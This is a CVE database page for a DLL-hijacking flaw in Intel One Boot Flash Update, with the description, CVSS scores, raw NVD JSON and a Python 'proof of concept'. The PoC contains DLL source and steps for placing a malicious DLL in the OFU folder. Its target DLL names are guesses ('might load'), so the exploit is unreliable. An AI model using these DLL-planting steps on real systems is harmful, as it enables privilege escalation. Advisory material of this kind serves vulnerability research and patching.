Security Vulnerability Report
中文
CVE-2025-25059 CVSS 6.7 MEDIUM

CVE-2025-25059

Published: 2025-11-11 17:15:44
Last Modified: 2026-04-15 00:35:42

Description

Uncontrolled search path for some Intel(R) One Boot Flash Update (Intel(R) OFU) software before version 14.1.31 within Ring 3: User Applications may allow an escalation of privilege. Unprivileged software adversary with an authenticated user combined with a high complexity attack may enable escalation of privilege. This result may potentially occur via local access when attack requirements are present without special internal knowledge and requires active user interaction. The potential vulnerability may impact the confidentiality (high), integrity (high) and availability (high) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (none) and availability (none) impacts.

CVSS Details

CVSS Score
6.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Intel(R) One Boot Flash Update (Intel OFU) < 14.1.31

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-25059 DLL Hijacking PoC # Target: Intel(R) One Boot Flash Update (OFU) < 14.1.31 # Type: Uncontrolled Search Path (DLL Hijacking) import os import ctypes import shutil import sys def create_malicious_dll(): """Create a malicious DLL that writes to a log file when loaded""" dll_code = ''' #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { FILE *fp = fopen("C:\\\\Temp\\\\cve_2025_25059_poc.txt", "w"); if (fp) { fprintf(fp, "[+] DLL Hijacking Successful!\n"); fprintf(fp, "[+] Arbitrary code execution achieved\n"); fprintf(fp, "[+] Privilege Escalation Complete\n"); fclose(fp); } // Execute malicious payload here // system("calc.exe"); // For demonstration } return TRUE; } ''' return dll_code def find_vulnerable_dll_locations(): """Identify potential DLL search path locations""" common_paths = [ os.environ.get('SYSTEMROOT', 'C:\\Windows') + '\\System32', os.environ.get('SYSTEMROOT', 'C:\\Windows') + '\\SysWOW64', os.environ.get('PROGRAMFILES', 'C:\\Program Files'), os.environ.get('APPDATA', os.path.expanduser('~\\AppData\\Roaming')), 'C:\\Program Files\\Intel\\OFU', 'C:\\Intel\\OFU', 'C:\\' ] return common_paths def check_exploitable(): """Check if target system is vulnerable""" # Check if Intel OFU is installed ofu_paths = [ 'C:\\Program Files\\Intel\\OFU', 'C:\\Intel\\OFU', os.environ.get('PROGRAMFILES(X86)', 'C:\\Program Files (x86)') + '\\Intel\\OFU' ] for path in ofu_paths: if os.path.exists(path): print(f'[+] Found Intel OFU installation: {path}') return True, path return False, None def exploit(): """Execute DLL hijacking attack""" print('[*] CVE-2025-25059 DLL Hijacking PoC') print('[*] Target: Intel OFU < 14.1.31') vulnerable, target_path = check_exploitable() if not vulnerable: print('[-] Intel OFU not found on this system') return False print(f'[+] Target path: {target_path}') # Common DLLs that Intel OFU might load target_dlls = ['version.dll', 'winhttp.dll', 'crypt32.dll', 'advapi32.dll'] for dll in target_dlls: dll_path = os.path.join(target_path, dll) if not os.path.exists(dll_path): print(f'[!] Potential DLL to hijack: {dll}') print(f' Place malicious DLL at: {dll_path}') print('\n[!] Attack requires:') print(' 1. Write access to OFU installation directory') print(' 2. Low-privilege code execution') print(' 3. User interaction to trigger OFU') print(' 4. High complexity attack chain') return True if __name__ == '__main__': exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-25059", "sourceIdentifier": "[email protected]", "published": "2025-11-11T17:15:44.230", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Uncontrolled search path for some Intel(R) One Boot Flash Update (Intel(R) OFU) software before version 14.1.31 within Ring 3: User Applications may allow an escalation of privilege. Unprivileged software adversary with an authenticated user combined with a high complexity attack may enable escalation of privilege. This result may potentially occur via local access when attack requirements are present without special internal knowledge and requires active user interaction. The potential vulnerability may impact the confidentiality (high), integrity (high) and availability (high) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (none) and availability (none) impacts."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-427"}]}], "references": [{"url": "https://intel.com/content/www/us/en/security-center/advisory/intel-sa-01331.html", "source": "[email protected]"}]}}